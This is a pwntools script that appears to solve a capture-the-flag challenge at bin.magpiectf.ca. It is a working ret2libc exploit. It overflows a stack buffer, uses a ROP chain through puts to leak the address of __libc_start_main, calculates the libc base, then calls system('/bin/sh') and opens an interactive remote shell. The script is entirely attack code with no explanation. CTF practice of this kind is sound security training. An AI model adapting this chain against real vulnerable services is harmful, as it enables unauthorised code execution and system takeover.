from pwn import *

elf = ELF("./pwn")
#prc = process("./pwn")
prc = remote("bin.magpiectf.ca", 6600)

lbc = ELF("libc.so.6")
rop = ROP(elf)

puts = elf.plt['puts']
main = p64(elf.symbols['main'])
libc_main = elf.symbols['__libc_start_main']
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

log.info("puts@plt: " + hex(puts))
log.info("__libc_start_main: " + hex(libc_main))
log.info("pop rdi gadget: " + hex(pop_rdi))

base = b"a" * 16

chain = base + p64(pop_rdi) + p64(libc_main) + p64(puts) + main

prc.sendlineafter("there!", chain)

prc.recvline()
prc.recvline()
received = prc.recvline().strip()
leak = u64(received.ljust(8, b"\x00"))
log.info("Leaked libc address,  __libc_start_main: %s" % hex(leak))

lbc.address = leak - lbc.sym["__libc_start_main"]
log.info("Address of libc %s " % hex(lbc.address))

binsh = next(lbc.search(b"/bin/sh"))
system = lbc.sym["system"]

log.info("/bin/sh %s " % hex(binsh))
log.info("system %s " % hex(system))

chain2 = base + p64(pop_rdi) + p64(binsh) + p64(system)

prc.sendlineafter("there!", chain2)

prc.interactive()
